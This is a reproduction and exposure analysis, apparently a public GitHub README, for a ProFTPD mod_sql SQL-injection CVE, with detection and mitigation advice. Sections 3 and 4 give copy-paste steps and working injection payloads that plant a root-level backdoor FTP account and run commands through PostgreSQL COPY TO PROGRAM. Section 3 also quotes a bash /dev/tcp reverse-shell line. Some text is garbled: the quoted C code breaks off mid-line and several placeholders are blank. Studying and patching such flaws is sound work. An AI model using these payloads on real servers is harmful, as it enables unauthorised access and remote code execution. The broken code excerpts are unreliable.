## https://sploitus.com/exploit?id=EDCFB5A3-3CC8-5AE9-A02F-CEC5BAD53863
# CVE-2026-42167 โ ProFTPD `mod_sql` SQL Injection / Auth Bypass / RCE
Independent reproduction, code-level root-cause walkthrough, and a frank
exposure analysis for **CVE-2026-42167** โ the `is_escaped_text()` bypass in
ProFTPD's `mod_sql` logging pipeline disclosed by ZeroPath Research and fixed
in ProFTPD 1.3.9a / 1.3.10rc1.
Built and verified end-to-end in Docker on macOS / Apple Silicon, 2026-04-29.
> **TL;DR โ see [Bottom line](#11-bottom-line) for the realistic exposure
> picture before deciding how worried to be. This is *not* a default-install
> bug, but the dangerous quoting pattern is the pattern the upstream docs
> tell you to use, so a large fraction of `mod_sql` deployments inherit it.**
| Field | Value |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL Injection), CWE-78 (OS Command Injection โ via PG `COPY TO PROGRAM`) |
| Affected | ProFTPD โค 1.3.9 with `mod_sql` + `SQLLog`/`SQLNamedQuery` whose format string interpolates an attacker-controlled variable inside single quotes |
| Fixed in | 1.3.9a (`af90843baโฆ`) / 1.3.10rc1, see commit `e6f728481` ("Issue #2052") |
| Pinned vulnerable commit | `ae25959adb05ae1d6ebfa1f36bf778c9c34e9410` |
| Vulnerable file | `contrib/mod_sql.c` lines 741โ758 (`is_escaped_text`) and line 777 (`sql_resolved_append_text`) |
| Original disclosure | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| Public PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Release notes | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
---
## 1. Root cause โ `is_escaped_text()` heuristic in `contrib/mod_sql.c`
`mod_sql` resolves logging format variables (`%U`, `%{basename}`, etc.) and
appends each piece into the rendered SQL via `sql_resolved_append_text()`.
To preserve backwards compatibility with admin configs that already wrap
variables in `'โฆ'`, the function calls `is_escaped_text()` to decide
whether `sql_escapestring` is needed:
```c
/* contrib/mod_sql.c โ vulnerable commit ae25959 */
741 static int is_escaped_text(const char *text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != '\'') return FALSE;
745 if (text[text_len-1] != '\'') return FALSE;
746 for (i = 1; i '` skips
`sql_escapestring` and is concatenated raw into the final query.
The standard, documented config wraps `%U` / `%{basename}` / `%m` in single
quotes:
```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
```
When the attacker sends `USER ''` (start- and end-quote, no
internal quotes), the resolver substitutes `%U` *unescaped*, producing
`''''` in the SQL โ the empty string literals close the
surrounding quotes and `` runs as raw SQL. With PostgreSQL
(`PQexec`) and SQLite (`sqlite3_exec`), stacked queries are supported, so
`` can be any sequence of statements.
Because `SQLLog ERR_*` fires on **failed** logins and `%U` is set from
`USER` *before* authentication, the attack is fully unauthenticated.
### The fix (commit `e6f728481`, "Issue #2052")
`sql_resolved_append_text()` gains an `already_escaped` parameter. Callers
that resolve values from client input pass `FALSE` and now go through
`sql_escapestring` unconditionally โ the `is_escaped_text()` heuristic is
still applied for the legitimate "config has pre-escaped value" path but
no longer applies to attacker-controlled data.
---
## 2. Lab environment
```
+--------------------+ FTP 21 +-----------------------+
| attacker (host) | 127.0.0.1:2121 | proftpd-poc-server |
| python3 PoCs | | ProFTPD 1.3.9-pre |
+--------------------+ | mod_sql_postgres |
+-----------+-----------+
| libpq
v
+-----------------------+
| proftpd-poc-postgres |
| PostgreSQL 15 |
| role 'proftpd' = SU |
+-----------------------+
```
- Both containers stand up via `setup/docker-compose.yml`.
- `setup/proftpd.conf` enables the vulnerable logging config (see ยง1).
- `setup/seed.sql` creates `users`, `groups`, `activity_log`, `xfer_log`,
and `secrets`, plus a single legitimate FTP user `ftpuser / ftppass`.
---
## 3. Reproduction โ copy/paste
Prerequisites: Docker Desktop, Python 3.10+, git. (`uv` is optional; the
PoCs are stdlib-only.)
```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce โ pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce โ post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce โ pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
```
The two interactive variants in the upstream repo
(`preauth_user_rce.py`, `postauth_stor_rce.py`) are unmodified and pop a
PTY-backed reverse shell. They use the same primitive as the marker
variant โ just substitute the shell command for `bash -i >&
/dev/tcp// 0>&1` and listen on `` first.
---
## 4. The payloads, byte-for-byte
### Pre-auth backdoor (`USER` command, `%U`)
```
USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'
PASS x
```
Why it works:
1. The **outer quotes + no internal quotes** match
`is_escaped_text()` โ escape skipped.
2. The configured `SQLNamedQuery` is `INSERT "'%U', '%r', '%m'" activity_log`,
so the rendered SQL becomes
`INSERT INTO activity_log VALUES('', '', '')` โ but
`` itself starts with `'`, so the effective query is
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,โฆ); --', '', '')`.
3. `--` comments out the trailing format slots.
4. `$$โฆ$$` PostgreSQL dollar-quoting lets us pass strings (`backdoor`,
`pwned123`, `/`, `/bin/bash`) without ever using `'` โ preserving the
`is_escaped_text()` bypass.
5. `SQLLog ERR_*` fires on the failed login โ `PQexec()` runs the stacked
`INSERT INTO users` โ backdoor account exists in the auth table.
### Post-auth backdoor (`STOR` filename, `%{basename}`)
```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
```
Same bypass, different trigger. `chr(47)` = `'/'` is used because
`/` in a filename is interpreted as a directory separator by FTP, so the
attacker can't put a literal `/` in the filename โ `chr()` lets the
backdoor account get `homedir = '/'` without sending one over the wire.
### Pre-auth RCE (`USER` + `COPY TO PROGRAM`)
```
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --'
PASS x
```
Where `` is any command. PostgreSQL runs it through `/bin/sh`
on the **database** host as the `postgres` OS user. Requires the DB role
used by `mod_sql` to be a superuser (or member of
`pg_execute_server_program`) โ common in single-tenant deployments and
the default for the official `postgres` Docker image when the role is
created via `POSTGRES_USER`.
---
## 5. Evidence captured during reproduction
| File | What it shows |
|---|---|
| `logs/01_preauth_backdoor.log` | Pre-auth PoC output, login as `backdoor` succeeds (`230`) |
| `logs/02_db_users_after.log` | `users` table now contains `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Post-auth PoC output via STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Marker payload sent over FTP |
| `logs/06_users_final.log` | Final `users` table state |
| `logs/07_proftpd_trace.log` | ProFTPD's own trace log printing `text 'โฆ' is already escaped, skipping escaping it again` for each injected payload โ direct evidence of `is_escaped_text()` returning TRUE on attacker input |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` written *by the postgres user* on the postgres container |
| `screenshots/*.png` | PNG renders of each captured terminal session |
The trace log line is the smoking gun:
```
2026-04-29 06:35:11,297 [548] : text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
```
That message is emitted at `contrib/mod_sql.c:791` only when
`is_escaped_text()` returned TRUE โ i.e. exactly the bypass.
---
## 6. Detection / mitigation
**Detection (forensics on a deployed server):**
- `grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log`
with `Trace sql:17` enabled flags every injection attempt that reached the
bypass.
- Audit `activity_log` (or whichever table `SQLNamedQuery INSERT` writes into):
rows where the username column starts with a stray quote, contains `null,
null);`, or contains `INSERT`/`COPY TO PROGRAM`/`UPDATE` are evidence.
- Audit the `users` table for accounts with `uid=0`, `homedir='/'`, or shell
set to a real shell when the policy is to use `/sbin/nologin`.
**Mitigation:**
- Upgrade ProFTPD โฅ 1.3.9a / 1.3.10rc1 (commit `e6f728481`).
- *Compensating control if upgrade is not yet possible:* drop attacker-
controllable variables from `SQLNamedQuery` format strings (replace `'%U'`
with the safer `%U` only inside parameterised backends, or use plaintext
file-based logging for failed logins).
- *Defence-in-depth:* ensure the `mod_sql` PostgreSQL role is **not** a
superuser โ that alone removes the `COPY TO PROGRAM` RCE path (the auth
bypass via stacked `INSERT INTO users` still works, but the blast radius
is contained to the proftpd database).
---
## 7. File map for this repository
```
.
โโโ README.md # this file
โโโ poc/ # ZeroPath PoC, cloned
โ โโโ README.md
โ โโโ pocs/
โ โ โโโ preauth_user_backdoor.py
โ โ โโโ preauth_user_rce.py
โ โ โโโ preauth_rce_marker.py # added โ non-interactive RCE proof
โ โ โโโ postauth_stor_backdoor.py
โ โ โโโ postauth_stor_rce.py
โ โโโ setup/
โ โโโ docker-compose.yml
โ โโโ Dockerfile.proftpd
โ โโโ proftpd.conf
โ โโโ seed.sql
โ โโโ setup.sh
โ โโโ teardown.sh
โโโ logs/ # raw terminal output captured during reproduction
โโโ screenshots/ # PNG renders of each log
โโโ 00_overview.png
โโโ 01_preauth_backdoor.png
โโโ 02_db_users_after.png
โโโ 03_postauth_stor_backdoor.png
โโโ 04_preauth_rce_marker.png
โโโ 05_rce_proof.png
โโโ 06_proftpd_trace.png
โโโ 07_users_final.png
```
---
## 8. Is this realistic โ or a contrived edge case?
The honest answer: **narrower than a "send-one-packet-and-own-the-server"
worm, but the vulnerable pattern is in ProFTPD's own documentation, so it's
not contrived.** Three independent dimensions decide whether a given
deployment is hit, and each one whittles down the population.
### 8.1 Is `mod_sql` even loaded?
`mod_sql` is opt-in. It's **not** in the default ProFTPD build and not in
the default config of distro packages like Debian's `proftpd-basic`. You
only have it if:
- You compiled with `--with-modules=mod_sql:mod_sql_`, or
- You installed a backend-specific package: Debian `proftpd-mod-pgsql` /
`proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` /
`proftpd-mysql`.
People install those packages for a clear reason: SQL-backed
**authentication** (users in a DB instead of `/etc/passwd`) or SQL-backed
**activity logging** for audit. Both are common in shared-hosting,
managed-FTP, and corporate FTP-drop deployments. So `mod_sql` is a real
chunk of the install base โ just not "every server."
### 8.2 Is the vulnerable `SQLNamedQuery` pattern actually used?
This is where realism is highest. The pattern that triggers the bug *is the
documented one.* Examples lifted directly from the upstream tree at the
pinned vulnerable commit:
```
# doc/contrib/mod_sql.html โโ canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
```
Every one wraps an attacker-controlled variable (`%u`, `%r`) in single
quotes โ exactly the shape `is_escaped_text()` mis-classifies. An admin
who copy-pastes from the upstream docs **inherits the vulnerable pattern.**
That's the headline reason to take this seriously.
### 8.3 Pre-auth vs post-auth
The fully-unauthenticated path (`USER` + `%U` + `SQLLog ERR_*`) is the
**narrowest** case. It requires all three:
- A `SQLNamedQuery` interpolating `%U` (original-username, set even on
failed login) inside single quotes โ less common than `%u` in real
configs, since most admins want the *successful* username for audit and
use `%u`.
- A `SQLLog` directive that fires before authentication. `SQLLog ERR_*` is
the canonical wildcard for that. `SQLLog PASS โฆ` and `SQLLog STOR โฆ`
(the most common forms) do **not**.
- A backend that supports stacked queries (PostgreSQL or SQLite โ see ยง8.4).
If the config uses `%u` rather than `%U`, the same bug still produces
auth-bypass โ but only **post-auth**, i.e. the attacker first needs *any*
working credentials before they can plant a uid=0 backdoor. In most real
configs this is the realistic exposure: **low-privilege FTP user โ root-
equivalent FTP user via one upload.**
### 8.4 Backend matters a lot
The bypass fires identically on every backend, but what the attacker can
*do* differs sharply:
| Backend | Stacked queries? | Auth bypass via `INSERT INTO users` | RCE on DB host |
|---|---|---|---|
| **PostgreSQL** | Yes (`PQexec`) | Works | **Yes** via `COPY TO PROGRAM` if DB role is superuser |
| **SQLite** | Yes (`sqlite3_exec`) | Works (and the FTP worker often has `PRIVS_ROOT` โ even worse) | No direct equivalent, but writable `users` table โ root FTP login |
| **MySQL** | **No** โ `mysql_real_query` w/o `CLIENT_MULTI_STATEMENTS` | Cannot append a second statement; reduces to single-statement subquery / blind SQLi for data exfil only | No |
PostgreSQL or SQLite โ full impact. MySQL โ data leakage / time-based
blind only. MySQL is by far the most common backend for shared hosting
(cPanel, Plesk, ISPConfig all default to it); PostgreSQL is more common in
custom enterprise builds. Both populations are non-trivial.
### 8.5 RCE has its own gate
The headline `COPY TO PROGRAM` RCE additionally requires the `mod_sql`
PostgreSQL role to be a **superuser** (or a member of
`pg_execute_server_program`). That's:
- **Common** when the DB was created with the official `postgres` Docker
image's `POSTGRES_USER` env var (the default for most PoC labs and many
appliance images, including this repo's `setup/`).
- **Common** when ProFTPD owns its own DB instance (single-tenant
deployments, hosted appliance images).
- **Less common** when DBA-led provisioning created the role with
least-privilege.
If the role is *not* a superuser, you still get the auth-bypass primitive
(itself critical), but the OS-level RCE on the DB host disappears.
---
## 9. Putting it together โ who is realistically exposed
```
ProFTPD installs
โโโ ~with mod_sql loaded โโโ opt-in but common in shared/managed FTP
โโโ ~with the canonical SQLNamedQuery INSERT pattern (most do โ it's
โ the documented form)
โ โโโ PostgreSQL backend
โ โ โโโ DB role = superuser โ pre-/post-auth RCE on DB host
โ โ โโโ DB role โ superuser โ post-auth root FTP backdoor (auth bypass)
โ โโโ SQLite backend โ post-auth root FTP backdoor
โ โ (worker often runs as root โ very bad)
โ โโโ MySQL backend โ post-auth blind SQLi / data exfil only
โโโ ~with attacker-controlled %U + SQLLog ERR_* (uncommon)
โ fully pre-auth versions of the above
```
---
## 10. Recommendation
For anyone running ProFTPD `mod_sql`:
- **Upgrade** to โฅ 1.3.9a regardless. It's the only complete fix.
- **Compensating controls** until you can patch:
- Drop the DB role to **non-superuser** โ kills the RCE branch on
PostgreSQL.
- Audit your `users` / auth table for stray `uid=0` rows or recently-
added accounts โ see ยง6.
- Enable `Trace sql:17` and grep
`is already escaped, skipping escaping it again` in `trace.log` โ that
line is direct evidence of an attempted bypass.
- If feasible, drop `SQLLog ERR_*` directives and any
`SQLNamedQuery INSERT` formats that interpolate `%U` (the pre-auth
primitive). The post-auth path will still exist via `%u` /
`%{basename}`, but you remove the worst case.
---
## 11. Bottom line
- This is **not** a "default install vulnerability" โ you have to be
running `mod_sql`.
- It **is** a "follow-the-docs vulnerability" โ the dangerous quoting
pattern is the official one, copy-pasted across the upstream HOWTOs.
- The **fully unauthenticated** scenario from the headline is real but
requires a specific (pre-auth `%U` + `SQLLog ERR_*` wildcard) config
combo that is less common than the post-auth path.
- The **post-auth privilege escalation** scenario (any FTP user โ uid=0
FTP backdoor) is the much more realistic one and applies to a large
fraction of `mod_sql` + PostgreSQL/SQLite deployments using the
documented logging patterns.
- The **OS-level RCE on the DB host** is gated on the DB role being a
superuser โ common in single-tenant / appliance-style setups, less
common in DBA-managed environments.
---
## Credits
- Vulnerability discovered and originally disclosed by
[ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Public PoC repository:
[ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Fix by TJ Saunders, commit
[`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
("Issue #2052").
This repository is independent reproduction and analysis for defensive
research and education. No 0-day. Use only on systems you are authorised
to test.